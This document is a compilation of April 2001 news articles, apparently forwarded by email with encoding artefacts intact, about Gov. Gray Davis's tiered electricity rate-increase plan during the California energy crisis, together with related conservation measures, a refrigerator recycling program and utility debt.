The commission has not yet decided how to spread the rate increases among t=
he=20
utilities' customers.=20
Davis said he will propose a tiered rate plan that would mean a 26.5 percen=
t=20
rate increase for the average customer. Under the governor's plan, the=20
heaviest power users would see an average 34.5 percent rate increase.=20
According to the Davis administration, the governor's plan would let Edison=
,=20
PG&E and the state's third investor-owned utility, San Diego Gas & Electric=
,=20
to make a total of $8 billion in debt payments over a decade.=20
Davis' plan would shift the burden of the PUC rate increase to heavier=20
residential, commercial and industrial power users while largely sparing=20
agricultural users, who would only see increases of 5 to 15 percent.=20
"We are going to take the governor's proposal under advisement and give it =
a=20
lot of weight, I suspect," PUC Commissioner Carl Wood said, adding that the=
=20
commission will seek input from consumer groups and businesses before makin=
g=20
a final decision.=20
The three utilities say they have lost more than $14 billion since June due=
=20
to soaring wholesale power costs. More than $13 billion of that comes from=
=20
Edison and PG&E, who have been barred under the state's deregulation law fr=
om=20
recovering the rising costs from their customers.=20
Davis =01) facing mounting pressure from Republicans and fellow Democrats t=
o=20
resolve California's energy crisis =01) delivered the speech from behind a =
desk,=20
with his hands clasped in front of him.=20
He assured residents that the state would survive the crisis.=20
"We are Californians. We've withstood earthquakes, floods, fires and=20
droughts," Davis said. "Yes, this is man-made, but with your help and God's=
=20
blessing, we'll get through this as well."=20
He said he would stand by his plan to help restore the utilities to financi=
al=20
health by negotiating state acquisition of their transmission lines and=20
requiring them to sell low-cost power to the state for a decade and drop=20
their lawsuits seeking to double their electric rates.=20
Davis urged Californians to help cut power use 10 percent to fend off rolli=
ng=20
blackouts this summer, when residents will crank their air conditioners and=
=20
demand will rise sharply.=20
The Legislature on Thursday afternoon sent Davis proposals that would spend=
=20
$1.1 billion on conservation programs for consumers and businesses. Davis=
=20
plans to sign the measures.=20
He listed actions he has taken to try to solve the power crisis, including=
=20
negotiating long-term contracts to purchase power and buy the utilities'=20
transmission lines.=20
Davis also said he has cut red tape and provided incentives to speed power=
=20
plant construction after a decade with none built.=20
"We can't fix 12 years of inaction overnight. But we're making real=20
progress," he said.=20
The speech, the first such message Davis has delivered besides his annual=
=20
State of the State address, comes as the GOP and even fellow Democrats=20
criticize the governor's handling of the crisis.=20
Consumer groups, angered by the rate increases, are promising a revolt at t=
he=20
polls in 2002, planning to roll back the rate hikes through an initiative=
=20
that would share the ballot with Davis, who is up for re-election then.=20
Consumer advocate Harvey Rosenfield said Davis is failing to protect utilit=
y=20
customers. He compared power suppliers to blackmailers charging an=20
"extortionary price for electricity."=20
"Nothing the governor has said tonight will do anything to stop the=20
profiteers," said Rosenfield of the Foundation for Consumer and Taxpayer=20
Rights in Santa Monica.=20
Power supplier Duke Energy said it has done nothing wrong and doesn't deser=
ve=20
criticism for the wholesale prices.=20
"We are running our power plants at historically high levels to keep=20
consumers' lights on," Duke said in a written statement.=20

---

SAN FRANCISCO =01) San Diego Gas and Electric Co. could have saved its cust=
omers=20
$98 million by buying electricity using contracts rather than over-relying =
on=20
purchases from the expensive daily market, a state consumer agency says.=20
The state Office of Ratepayer Advocates, the consumer arm of the Public=20
Utilities Commission, filed testimony Thursday recommending the PUC not all=
ow=20
the San Diego utility to pass along the amount to its customers.=20
A call to Sempra Energy Corp., the parent company of SDG&E, was not=20
immediately returned Thursday night.=20
In August, the state Legislature capped electricity rates at 6.5 cents per=
=20
kilowatt hour for the customers of SDG&E after customers saw their bills=20
skyrocket when the utility began passing along the market price of power.=
=20
Since the price cap, SDG&E has undercollected around $400 million from its=
=20
customers, said Steve Linsey, an ORA supervisor.=20
"Had SDG&E acted reasonably and prudently, SDG&E rates still would have=20
increased, but not by nearly as much," read a statement from the ORA.=20
"We're not saying that they could have seen the level or extent that the=20
overpricing occurred," Linsey said. "But just based on the history and=20
volatility of the market and supply and demand fundamentals that would have=
=20
led them to hedge their portfolio rather than being totally exposed to the=
=20
spot market."=20

---
------------------------------------

Davis Acknowledges Need for Rate Hike=20

Electricity: In a statewide TV broadcast, he says the average would be 26.5=
%.=20
For the first time, he calls situation a "crisis."=20

By DAN MORAIN, Times Staff Writer=20

?????SACRAMENTO--After spending months voicing opposition to rate hikes, Go=
v.=20
Gray Davis acknowledged to a statewide television audience Thursday night t=
he=20
need for an electricity rate increase that would average 26.5%.
?????For the first time calling it an "energy crisis," Davis enumerated ste=
ps=20
he has taken, then said he has fought "tooth and nail against raising rates=
."=20
But citing a need for increases, the Democratic governor called for a tiere=
d=20
system in which people who use the most electricity pay the most--as much a=
s=20
37% more if they use more than twice their minimum allotment.
?????"Here's the point: The more you use, the more you pay," Davis said. "T=
he=20
more you conserve, the more you save. Conservation is our best short-term=
=20
weapon against blackouts and price gouging."
?????Davis said his proposed rate plan is sufficient to help reduce the=20
$13-billion debt of Southern California Edison and Pacific Gas & Electric.=
=20
Although the bulk of the rate increase would be used to help California=20
finance bonds for long-term power purchases, about 10% to 15% would be=20
earmarked for the utilities--so long as they agree to sell their transmissi=
on=20
lines to the state, according to the administration.
?????The decision to offer the utilities at least some rate hike monies=20
brought a sharp response from lawmakers. Consumer advocates also are sure t=
o=20
be unhappy.
?????"We are not in this business to bail out these guys," said Senate=20
President Pro Tem John Burton (D-San Francisco).
?????Added Harry Snyder of Consumers Union: "Absolute giveaway . . . He is=
=20
going to pay them off completely for all their mistakes."
?????The governor took the unusual step of reserving air time on statewide=
=20
television at a time when he is slipping in polls and surveys show that the=
=20
public is increasingly concerned about the energy crisis. Gov. Pete Wilson=
=20
took a similar step during the recession in 1992 when he moved to raise tax=
es=20
and cut government spending.
?????The speech took on greater urgency as the California Independent Syste=
m=20
Operator, the entity that oversees power distribution, warned Thursday that=
=20
the state will face 34 days of rotating blackouts if consumers and business=
es=20
use the same amount of electricity this summer that they did last year. The=
=20
blackouts could be extensive enough to darken 5 million homes at once.
?????The governor's speech came hours after the Legislature approved a reco=
rd=20
$1.1 billion in energy conservation measures designed to provide consumers=
=20
with incentives to reduce electricity use.=20
?????In his speech, Davis renewed his call to Californians to curtail=20
electricity use by at least 10%, even as a new report was issued warning th=
at=20
the state faces repeated summer blackouts because of a major gap in the=20
supply of power during the coming months.
?????"We are 34 million strong, and if each of us does our part, we can=20
minimize disruptions and get through the summer," Davis said.
?????The governor did not speak in detail on any issue, including the rate=
=20
hike. The talk lasted a mere five minutes, delivered in fewer than 800 word=
s.
?????Under Davis' proposal, Southern California Edison residential customer=
s=20
would face an average increase of 2.21 cents per kilowatt hour. San Diego G=
as=20
& Electric customers would have a 2.57-cent hike, while Pacific Gas &=20
Electric would have a 2.44-cent boost. Business rates would rise slightly=
=20
more.
?????Davis blamed the rate hikes on rising natural gas prices, a lack of=20
adequate generation and the federal government's refusal to cap wholesale=
=20
power prices.
?????Rates for customers of the state's two largest utilities rose 9% in=20
January. That boost remains in effect. Legislation approved earlier this ye=
ar=20
bars further rate increases for those who use up to 30% more than their=20
so-called baseline allocation.
?????According to administration estimates, 53% of consumers would experien=
ce=20
no rate hike beyond the 9% boost approved in January. A fourth of all=20
households would face increases averaging 34.5%.
?????Under the proposal, which requires Public Utilities Commission approva=
l,=20
people who use up to 200% of their baseline allocation would see rates on=
=20
that portion of their electricity use go up by 9%, plus the 9% already=20
imposed for a total of 18%.
?????Electricity users who consume more than twice their baseline allocatio=
n=20
would pay between 33% and 37% more for kilowatts used beyond 200% of their=
=20
baseline allocation.
?????Davis' proposed rate increase is somewhat lower than that proposed by=
=20
the PUC, in part because he had more information, including the price that=
=20
the state is paying for electricity, his aides said.
?????"My proposal raises rates fairly, assures us of long-term power,=20
stabilizes the utilities and promotes conservation," Davis said.
?????Although there has been wide news coverage of the crisis, the governor=
's=20
aides said Davis felt a need to talk directly to Californians to sum up the=
=20
steps that he has taken to solve the problem.
?????Perhaps adding to the urgency, utility customers could start seeing=20
increases in their bills as early as next month. Further raising the stakes=
=20
for the speech, Davis warned this week that supplies will be so short that=
=20
there could be blackouts by the end of the month, and continue into May and=
=20
June.
?????"The public is more aware of what is going on on this issue than any=
=20
other issue I have seen, ever," said Democratic political consultant Gale=
=20
Kaufman. "People have gotten three or four bills that they're unhappy with=
=20
and they may have been in a blackout or two. There is a concern for the=20
future.
?????"By not talking to the public for a long time," Kaufman said, "and=20
focusing it on one speech in one day, people will dissect this five minutes=
,=20
much more than if he would have had a regular dialogue."
?????In what some political consultants see as a reflection of Davis'=20
declining political strength, a recent Times poll showed that in Davis'=20
hometown of Los Angeles, only 14% are more likely to vote for a candidate=
=20
endorsed by Davis, while 21% would be less likely.
?????Several recent private polls show that a majority of Californians woul=
d=20
not vote to reelect Davis if he were on the ballot today, though Davis does=
=20
not face voters in a general election for 19 months, giving him plenty of=
=20
time to recover.
?????"People need to be reassured that there is a strong sense of direction=
,"=20
said Bill Carrick, a Democratic consultant. "I don't think people are looki=
ng=20
for a magic wand. But they need a sense that there is sense of direction."
?????Other political consultants said Davis used television to get his=20
message out because newspaper accounts have raised questions about his=20
handling of the situation. Also, voters who get the bulk of their informati=
on=20
from television news generally have less knowledge about the nuances of the=
=20
crisis.
?????"He is not doing well with the print story," said Republican consultan=
t=20
Wayne C. Johnson, "so he has decided to change venues."
?????Johnson, like many consultants, also said the governor's declining pol=
l=20
numbers likely influenced his decision to make the television appearance,=
=20
carried on most stations across the state during 6 p.m. news shows.
?????"Gray Davis doesn't do anything that the polls don't dictate," Johnson=
=20
said. "He is doing this because the polls show his support is in free-fall.=
"
?????Until Thursday, Davis had not characterized the situation as a "crisis=
,"=20
instead calling it a "challenge." That euphemism raised the hackles of many=
=20
legislators.
?????"It's pretty clear: The public is angry and scared," said state Sen. D=
on=20
Perata (D-Alameda). "They want a sense that someone is in control, and that=
=20
there is some certitude of where we're going. We're lacking both."
?????The Legislature, meanwhile, approved two measures touted as ways to cu=
t=20
the state's power needs this summer, when hot temperatures traditionally=20
cause demand to surge--a situation that this year could result in blackouts=
.
?????The bills had been bogged down in squabbling between the Assembly and=
=20
Senate. The delay raises questions about whether the conservation incentive=
s=20
will be in place long enough to have an immediate effect.
?????The bills, a $709-million measure by state Sen. Byron Sher (D-Stanford=
)=20
and a $409-million measure by Assemblywoman Christine Kehoe (D-San Diego),=
=20
contain a dizzying range of financial "carrots" designed to help people cut=
=20
power use.
?????There is $50 million to help low- and moderate-income consumers replac=
e=20
energy-wasting appliances such as old refrigerators with new, more=20
energy-efficient equipment, $60 million to help consumers replace older=20
lighting systems, $7 million to teach school children about energy=20
efficiency, and $50 million for electricity meters for businesses.
?????The Senate bill won final passage on a 31-6 vote; the Assembly bill=20
cleared the Legislature on a 55-15 vote. However, not everyone supported th=
e=20
concept of government subsidies to reduce power use.
?????Meanwhile, utility watchers issued gloomy reports early Thursday,=20
helping to drag down the stocks of Edison International and PG&E Corp.,=20
parent corporations of the beleaguered utilities. Edison closed at $12.64 p=
er=20
share, down 34 cents or 2.6%, while PG&E fell to $11.38 per share, down 27=
=20
cents or 2.3%, on the New York Stock Exchange.
?????Standard & Poor's said it is unlikely that Southern California Edison=
=20
and Pacific Gas & Electric will regain a sound credit rating soon. The Wall=
=20
Street debt-rating firm lowered the utilities' credit rating to high-risk=
=20
junk-bond status in January when they began defaulting on debt.
?????Standard & Poor's cited a lack of action by Davis and state legislator=
s,=20
and said rate increases approved by the PUC will not be sufficient to pay a=
ll=20
electricity costs. Banks and other creditors will run out of patience befor=
e=20
long unless a settlement is reached to help the utilities pay past debts,=
=20
Standard & Poor's said.
?????The firm predicted that "the coming weeks are likely to be critical if=
=20
the utilities are to be made financially sound companies once again and avo=
id=20
bankruptcy proceedings."

---
-------------------------------------------------------------------

Putting the Heat on 2-Fridge Households=20

Electricity: Utilities intensify bid to cut the numbers of spare iceboxes a=
nd=20
freezers, which experts say use enough energy to power 200,000 homes.=20

By MARTHA L. WILLMAN, Times Staff Writer=20

?????Parked next to the two cars in Gordon Gould's Valencia garage is a=20
side-by-side white Whirlpool refrigerator, stocked with all the TV dinners,=
=20
Dreyer's ice cream and cold Pepsi he can't squeeze into the duplicate fridg=
e=20
in his kitchen.
?????To conservationists, Gould's extra refrigerator--and 1 million more li=
ke=20
it in garages throughout the state--is a symbol of how our energy-guzzling=
=20
lifestyle is straining the state's power supply. To Gould, it's something h=
e=20
can't bear to live without.
?????"I need it for drinks and frozen foods," said Gould, 78, who has lived=
=20
alone since his wife died last fall. "We've always had two refrigerators. I=
=20
absolutely need it."
?????You wouldn't think of this dilemma as a key part of California's=20
electricity crisis. Yet the state Public Utilities Commission is prepared t=
o=20
spend nearly $10 million this year to persuade people to turn in their gara=
ge=20
iceboxes.
?????The California Energy Commission estimates that spare refrigerators an=
d=20
freezers throughout the state suck up enough juice to collectively power=20
200,000 homes. After air-conditioning units, refrigerators are considered t=
he=20
largest consumers of electricity in the typical household.
?????Many owners of spare refrigerators view them as a necessity. Whether=
=20
that is true or not, people will tenaciously cling to the appliances becaus=
e=20
they offer "a little extra security" at a time in which many still do not=
=20
believe that an energy crisis is real, said Dallas Willard, a USC philosoph=
y=20
professor.
?????"It represents the idea of something in reserve, and there is not very=
=20
much that people have in reserve in this culture," Willard said. "We go for=
=20
elaborate security systems such as SUVs with giant tires that look like the=
y=20
could run over small buildings, or huge ugly dogs that serve no purpose but=
=20
to scare people. It's a sense of a fragility of the system put together wit=
h=20
not being sure there is a problem there."
?????Then, too, homeowners can expect scant financial rewards, at least=20
immediately, for giving up their garage refrigerators. In Southern Californ=
ia=20
Edison's territory, owners are paid just $35, or offered $50 worth of compa=
ct=20
fluorescent light bulbs, in exchange for working refrigerators. As the=20
program expands to Northern California and San Diego County, the bounty wil=
l=20
rise to $75. Die-hard adherents of spare refrigerators, such as Gould, scof=
f=20
at such offers.
?????"It's important to me," he said, adding that he wouldn't consider even=
 a=20
$75 rebate. "There's not enough room in my other one."
?????He's got plenty of company. A few blocks away, Robin Ray keeps a simil=
ar=20
grip on the 1980s-vintage Kenmore standing tall in his garage.
?????"I utilize that refrigerator way too much to get rid of it," said Ray,=
=20
38, who lives with his wife and their 5-year-old son. "We use it to store a=
ll=20
the extra meat, fish and chicken we buy every time we run to Costco."
?????Mary Potts has both a gleaming black 23.5-cubic-foot, side-by-side=20
refrigerator and a 20-cubic-foot upright freezer in her garage nearby.
?????"I know it's a luxury--we try to watch our power usage--but you need i=
t=20
to keep drinks, soda pops and food for parties," said Potts, an insurance=
=20
executive.
?????State officials believe that with energy costs rising, residents will =
be=20
more willing to decommission their spare refrigerators. And they point out=
=20
that a recycling program in Edison's territory has been a huge success,=20
resulting in 254,000 refrigerators being turned in over the last seven year=
s.
?????Still, with more than 9 million new refrigerators sold in the U.S. eac=
h=20
year, according to Appliance Magazine, the secondhand fridge market=20
flourishes in classified ads and thrift stores. No one knows exactly how ma=
ny=20
refrigerators are permanently disabled or sent out of the country, but ener=
gy=20
experts say the number of total units is not dwindling, despite recycling=
=20
efforts nationwide.
?????With a median life span of 19 years, refrigerators and freezers "often=
=20
take on a second, third and fourth lifetime," said Wayne Morris of the Assn=
.=20
of Home Appliance Manufacturers, an international trade organization.=20
?????Paul Janzen, who recently moved to Telluride, Colo., is advertising "a=
n=20
old junker refrigerator for $25" among the furnishings he is trying to shed=
=20
at his Orange County apartment. He bought the full-size, used refrigerator=
=20
for $45 from a Salvation Army thrift store 10 years ago. "It probably uses =
a=20
whole lot of energy, but it still works wonderfully," Janzen said.
?????Indeed, experts say old refrigerators use up to four times the energy =
of=20
the newest models.
?????"Most people simply don't think about the refrigerator as a major ener=
gy=20
user. It's not like a hair dryer that you have to turn on," said David=20
Goldstein of the Natural Resources Defense Council, an environmental advoca=
cy=20
group that has pushed for more efficient appliances.
?????Energy experts estimate that 10% to 14% of California households harbo=
r=20
an extra refrigerator or freezer. Appliance repair workers informally guess=
=20
that the number in Southern California is higher, based on their firsthand=
=20
experience in servicing refrigerators in affluent suburban neighborhoods.
?????"Most people have a spare refrigerator, as a convenience," said Terry=
=20
McVicker, owner of Certified Service in Anaheim. But he said calls to fix=
=20
spares in the last six months have dropped as more people have complained=
=20
about energy costs.
?????Others, however, are so attached to the convenience that they are=20
willing to fix or replace their garage iceboxes.
?????"A lot of times, people get used to them," said Scott Kassner, general=
=20
manager of Angel Appliances in North Hills. "So if one dies, they are just =
as=20
likely to find a used one to put in its place."
?????Within the next few weeks, the three major private utilities in=20
California will intensify a campaign to capture spare appliances with=20
advertising, bill inserts, roving exhibits and other promotions.
?????"This year we are trying our best to get as many of these refrigerator=
s=20
and freezers offline prior to the summer season," said Jeannette Duvall-War=
d,=20
refrigerator recycling program manager for Edison, which is also coordinati=
ng=20
the effort by Pacific Gas & Electric and San Diego Gas & Electric.
?????To qualify for rebates, refrigerators must be 10 to 25 cubic feet and =
in=20
working condition. Edison customers have a choice of a $35 rebate or a=20
five-pack of compact fluorescent lightbulbs worth $50. Because the programs=
=20
are new, consumers in the Bay Area and San Diego will receive $75 rebates. =
In=20
exchange, customers can expect annual energy savings of $150 or more.
?????Among those taking advantage of the rebates is Ruth Beatty of Covina,=
=20
who has turned in three appliances in the last year, collecting $35 rebates=
=20
on each. He said the first was a refrigerator only 5 years old that require=
d=20
repeated repairs. The second, recycled from a neighbor's garage, "would tal=
k=20
to me, like a dog moaning" and caused his monthly electric bills to double.=
=20
The latest was a 15-year-old freezer he turned in as a cost-cutting move.
?????"When the electric bill becomes more than the rent, you start=20
investigating," he said.

---
Davis Proposes Tiered Plan To Boost Rates=20
Governor wants slightly lower increases than PUC adopted=20
Lynda Gledhill, Greg Lucas, Chronicle Sacramento Bureau
Friday, April 6, 2001=20
URL:=20
/06/M
N141706.DTL=20
After months of denying that rate increases were needed to pull California=
=20
out of its energy crisis, Gov. Gray Davis yesterday proposed an average 37=
=20
percent increase for residential users served by PG&E.=20
The governor's electricity rate increases are slightly lower than the ones=
=20
adopted by the PUC last week. He said about half of the state's residential=
=20
customers would see no increase at all.=20
Davis has blamed the energy crisis on his GOP predecessor, out-of-state=20
energy generators and federal regulators.=20
But in a rare statewide television address last night, he acknowledged that=
=20
pointing the finger would not solve California's flawed deregulation plan=
=20
that plunged utilities into debt as wholesale energy prices rose and retail=
=20
rates remained frozen.=20
"It's become increasingly clear . . . that with rising natural gas prices,=
=20
the (Federal Energy Regulatory Commission's) failure to control costs and t=
he=20
state's lack of supply, that some rate increases are necessary to keep our=
=20
lights on and our economy strong," Davis said.=20
By embracing a rate increase lower than the PUC's, Davis tried to portray=
=20
himself politically as a leader, but he also put himself in jeopardy should=
=20
his plan fail.=20
Last week, the PUC approved a rate increase that would average 40 percent.=
=20
That includes making permanent a temporary 10 percent average increase=20
adopted by the commission in January.=20
Davis also would make that average 10 percent increase permanent.=20
The PUC's rate would lift the customer's price per kilowatt by about 3 cent=
s.=20
Under Davis' plan, the rate for PG&E customers would be 2.44 cents.=20
Consumer advocates blasted Davis' plan as a bailout for investor-owned=20
"Gov. Davis blamed everyone but himself tonight," said Harvey Rosenfeld,=20
president of the Foundation for Taxpayer and Consumer Rights.=20
Rosenfeld said Davis must have the courage to stand up to out-of-state powe=
r=20
generators and, if they don't reduce their profits to fair levels, impose=
=20
taxes on their windfall gains. If that doesn't work, he said, the state=20
should move to seize power plants.=20
Even though Davis' plan would generate less revenue than the PUC's increase=
,=20
he says he can do more with less.=20
The governor's plan would eliminate a 10 percent rate increase scheduled to=
=20
kick in next March. The PUC's would not.=20
Davis said his slightly lower rate not only would provide enough money to p=
ay=20
off a bond California is set to issue for power purchases but also would pa=
y=20
off a portion of PG&E and Southern California Edison's $14 billion debt.=20
The remainder of the debt would be erased by the state's purchase of the PG=
&E=20
and Edison's transmission lines, an idea Davis again endorsed last night.=
=20
The PUC's rate increase did not address the utilities' debt.=20
The state will have to issue a bond of somewhere between $12.4 billion and=
=20
$14 billion to cover power purchases, said John Stevens, Davis' top energy=
=20
adviser. The state has spent about $4 billion so far.=20
All of this can be in a smaller rate increase because the governor's office=
=20
has different numbers, Stevens said. The numbers will be provided to the=20
board,=20
but have not been made available yet.=20
PUC Commissioner Carl Wood said the board would review Davis' plan.=20
"There isn't a big gulf," he said. "These are more recent numbers. But the=
=20
PUC has the ultimate responsibility to make rates."=20
While the PUC rate increase has already been adopted, the tiered structure=
=20
has not.=20
Reaction to the speech was not overwhelmingly supportive.=20
A statement by PG&E said it supported the governor's efforts to increase=20
conservation but said the speech did not go far enough.=20
"However, the state's power crisis has been ongoing for nearly a year now,=
=20
with little relief in sight," the statement said. "Unfortunately, the steps=
=20
the governor announced tonight still do not appear to offer a comprehensive=
=20
solution to resolve California's energy crisis."=20
Republicans were not any more supportive.=20
Davis' only announced 2002 Republican challenger said Davis had failed to=
=20
take responsibility for his "mismanagement" that had made the crisis worse.=
=20
"Gov. Gray Davis looked us right in the eye and said nothing," said Secreta=
ry=20
of State Bill Jones. "The first responsibility of leadership is to tell the=
=20
truth. Gray Davis needs to level with the people of California -- not=20
continue to tell them bits and pieces that he thinks they want to hear." Th=
e=20
admission that rate increases are necessary is a politically dicey move for=
=20
Davis, but one widely seen as necessary.=20
The Democratic governor had come under increasing pressure to take decisive=
=20
action after the PUC's action last week.=20
But Davis political adviser Garry South said Davis needed to take the time =
to=20
make sure the numbers were right.=20
"I think people understand when a public official comes forward and looks=
=20
them in the eye and says here is what we need to do to solve it," he said.=
=20
"The governor clearly has the authority to ask the PUC to do something."=20
Davis said he opposed the increase at the time, and denied having any=20
knowledge of the plan, despite having appointed a majority of the board.=20
In his speech, Davis "urged" the PUC to consider the plan.=20
Davis had maintained since last fall that he wanted to work to solve the=20
energy crisis without a rate increase.=20
"If I wanted to raise rates, I could have solved this in 20 minutes," Davis=
=20
said in February.=20
Even with the rate increase there are still many pieces of the energy puzzl=
e=20
that must be solved.=20
The rate increase will cover only the utilities' back debt if there is an=
=20
agreement to sell the transmission systems. So far, those negotiations have=
=20
progressed very slowly.=20
Davis urged conservation as the main way to get through the summer.=20
"The more you use, the more you pay," Davis said.=20
He lauded two conservation bills passed by the legislature yesterday that=
=20
provide about $1.1 billion for various programs, such as refrigerator trade=
-=20
ins.=20
Also yesterday, Reliant Energy, one of the out-of-state generators providin=
g=20
California with power, won a court ruling yesterday that means it no longer=
=20
has to make forced sales of electricity to the state.=20
The Ninth Circuit Court of Appeals lifted an injunction from a lower court=
=20
that forced the energy provider to sell to California, no matter whether it=
=20
was paid or not.=20

E-mail Lynda Gledhill and Greg Lucas at lgledhill@sfchronicle.com and=20
glucas@sfchronicle.com.=20
A look at Gov. Davis' proposed rate increase, by the numbers. Proposed=20
rates do not include the average 10 percent temporary increase adopted in=
=20
January that Davis wants to make permanent).
   --  Increase for the 55 percent of residential customers who use less=20
electricity than 130 percent of their predetermined baseline:
   0%
   Average increase for people who use between 130 and 200 percent of=20
baseline=20
amounts:
   10%
   Average increase for users who surpass 200 percent of baseline:
   34.5%
   Average increase for "flat rate" industrial and commercial users
   29%
   Average increase for "time of use" industrial and commercial users
   30%
   (Proposed rates do not include the average 10 percent temporary increase=
=20
adopted in January that Davis wants to make permanent.)

---
Legislature Pounds Out Conservation Package=20
Davis expected to sign $1.1 billion measures=20
Greg Lucas, Sacramento Bureau Chief
URL:=20
/06/M
N97060.DTL=20
Sacramento -- After a long day of haggling, both houses of the Legislature=
=20
yesterday approved a $1.1 billion package of energy conservation measures=
=20
designed to cut California electricity use as quickly as possible.=20
Much of the money goes to existing state programs offering loans, grants an=
d=20
cash to business, agricultural, residential and low-income ratepayers. Gov.=
=20
Gray Davis is expected to sign the bills.=20
Programs include rebates on new refrigerators and air conditioners, as well=
=20
as grants to place reflective surfaces on roofs and replace traffic lights=
=20
with energy-efficient bulbs and weatherize homes.=20
"These are well-known programs," said state Sen. Byron Sher, D-Palo Alto,=
=20
author of one of the bills in the package. "They have been very effective."=
=20
Lawmakers were divided over which consumers should get the most assistance,=
=20
and fights flared between urban and rural lawmakers over the size of=20
assistance to agricultural interests.=20
The final compromise gives the bulk of the money to the Public Utilities=20
Commission and the California Energy Commission, which administer a host of=
=20
One-fifth of the $1.1 billion is devoted to programs helping the state's=20
poorest consumers.=20
Of the $240 million in low-income aid, $100 million will go to subsidize up=
=20
to 25 percent of gas or electric bills in low-income households.=20
A poor household is defined as one that is below 150 percent of the federal=
=20
poverty level -- roughly a family of four earning $25,000.=20
The program, known as California Alternate Rates for Energy, is administere=
d=20
by the utilities and paid for by $180 million in surcharges on other=20
consumers' bills. The $100 million will go to expand the program.=20
An additional $120 million is pegged for a program that helps households=20
below 60 percent of the state median income -- $33,000 for a family of four=
.=20
The program offers subsidies and grants for home-energy efficiencies like=
=20
insulation, weather-stripping and low-flow shower heads.=20
Among the other programs receiving more money:=20
-- $50 million to beef up new air conditioner and refrigerator rebate=20
programs run by local utilities.=20
-- $50 million in 3 percent loans to replace inefficient display=20
refrigerators like the ones that hold drinks in mini-marts, liquor stores o=
r=20
convenience stores.=20
-- $60 million to municipal utilities like those in Sacramento, Alameda and=
=20
Palo Alto to expand their conservation efforts.=20
-- $10 million for cities and counties to replace stoplights with energy=20
efficient light-emitting diodes or LEDs.=20
-- $35 million in grants to businesses that recoat the roofs of their low-=
=20
story buildings with reflective surfaces.=20
-- $35 million to create "demand responsive" buildings that use an Internet=
=20
connection that can automatically adjust thermostats or lights when power=
=20
alerts are called.=20
-- $50 million for a grab bag program for other innovative energy savings.=
=20
-- $10 million to retrofit existing gas agriculture pumps with alternative=
=20
fuels.=20
Information on these programs will be posted on www.flexyourpower.com, whic=
h=20
also has links to the Public Utilities Commission and local utilities.=20
E-mail Greg Lucas at glucas@sfchronicle.com.=20
,2001 San Francisco Chronicle ? Page?A - 13=20
---
At least 3.6 million families face possible power cutoffs=20

URL:=20
http://www.sfgate.com/cgi-bin/article.cgi?file=3D/news/archive/2001/04/06/n=
ation
al0450EDT0471.DTL=20
(04-06) 01:50 PDT WASHINGTON (AP) -- At least 3.6 million households are at=
=20
risk of having their power cut off because they cannot afford soaring energ=
y=20
costs, according to a study.=20
The survey was released Thursday by the National Energy Assistance Director=
s'=20
Association, which represents officials who distribute federal energy aid t=
o=20
poor families.=20
The study says 3.6 million families in 18 states and Washington, D.C., have=
=20
fallen behind in payments to power utilities. Officials from the other 32=
=20
states did not provide data for the survey.=20
Mark Wolfe, director of the association, says it comes as no surprise that=
=20
poor families are having trouble keeping up with power costs.=20
Energy prices have been climbing in recent months as a result of increasing=
=20
demand, reduced oil production overseas and skyrocketing wholesale costs in=
=20
the West. The high wholesale prices have been blamed in part on deregulatio=
n=20
in California's power market.=20
------< ?On the Net: ?National Energy Assistance Directors' Association: ww=
w.neada.org/ ?,2001 Associated Press ? ?-----------------------------------=
-------------------------------------------?-------------------------------=
--------------------------------????Davis reveals plan, including rate hike=
s ?Posted at 10:07 p.m. PDT Thursday, April 5, 2001 ?BY DION NISSENBAUM ?AN=
D HALLYE JORDAN ??Mercury News Sacramento Bureau ???SACRAMENTO -- In a rare=
 statewide television address, Gov. Gray Davis on ?Thursday abandoned his s=
truggle to keep electricity rates from skyrocketing ?and proposed an increa=
se of about 26.5 percent for almost half of the state's ?residents. ?Though=
 he had vowed repeatedly to protect Californians from footing the bill ?for=
 the state's failed deregulation plan, Davis offered an approach that ?appe=
ars similar to the rate structure adopted last week by utilities ?regulator=
s to prevent the crisis from deepening. ?Last week, Davis had insisted that=
 he didn't know that the Public Utilities ?Commission intended to raise rat=
es and called the decision ``premature.'' ?Davis did not indicate in his sp=
eech what led him to reach his decision, but ?a top adviser said Davis acte=
d when he became confident the numbers required ?it. ?``I have fought tooth=
 and nail against raising rates,'' said Davis, who ?appeared somber and sli=
ghtly nervous during the five-minute speech carried ?live by more than 75 s=
tations and C-SPAN. ``It has become increasingly clear, ?however, that with=
 rising natural gas prices, the feds' failure to control ?costs and the sta=
te's lack of supply that some rate increases are needed to ?keep our lights=
 on and our economy humming.'' ?Under his plan, the Democratic governor sai=
d, more than half of the state's ?residential customers would not see highe=
r energy bills. But residential ?customers who use more than 130 percent of=
 their baseline usage would see ?increases. Customers using the most electr=
icity would face a jump of 34.5 ?percent, on average. ?Rates for businesses=
 would increase about 30 percent. ?Northern half hit hardest ?The governor'=
s plan also calls for Northern Californians to shoulder the ?biggest rate i=
ncreases. Customers of Pacific Gas & Electric Co., the utility ?in the wors=
t financial condition, would see their electric bills rise an ?average of 2=
8 percent if they use more than 130 percent of their baseline ?usage. ?Alth=
ough Davis stressed that ``more than half of you won't pay a penny ?more,''=
 figures from the utilities commission and PG&E suggest far more ?customers=
 may be subject to the governor's rate increase. ?PG&E spokesman Ron Low sa=
id that only 31 percent of the utility's residential ?customers used no mor=
e than 130 percent of their baseline last year. ?The governor offered scant=
 details about the proposal, but the plan appears ?similar to the one adopt=
ed by the Public Utilities Commission. ``It doesn't ?look like there is a b=
ig gulf between the overall numbers,'' said ?Commissioner Carl Wood. ?The P=
UC plan -- the largest rate increase in state history -- envisions ?electri=
c bills for homes and apartments going up by as much as 36 percent for ?tho=
se who use the most energy. ?Both proposals come on top of a 9 percent resi=
dential rate increase approved ?in January by the PUC that was intended to =
be temporary, but is now expected ?to become permanent. ?Davis contrasted h=
is plan with the PUC plan, saying he plans to earmark a ?portion of the rev=
enue to help the utilities pay off some of their more than ?$12 billion deb=
t they ran up purchasing power last year. ?To receive that deal, Davis said=
, the utilities would need to agree to ?provide cheap power from their own =
plants for a decade, agree to sell the ?state their transmission lines and =
drop their lawsuits that could lead to ?higher rates. ?The speech marked a =
dramatic turning point for Davis, who entered the energy ?crisis with a ple=
dge to derail any plans to raise rates for average ?Californians. For month=
s, Davis expressed his ``hope and expectation'' that ?the crisis could be r=
esolved without forcing Californians to pay dramatically ?more for electric=
ity. ?Davis and the Democrat-controlled Legislature are still struggling to=
 find a ?way out of the energy crisis that has brought two rounds of rollin=
g ?blackouts, forced PG&E and Southern California Edison to the brink of ?f=
inancial collapse and threatened to push California into an economic ?tails=
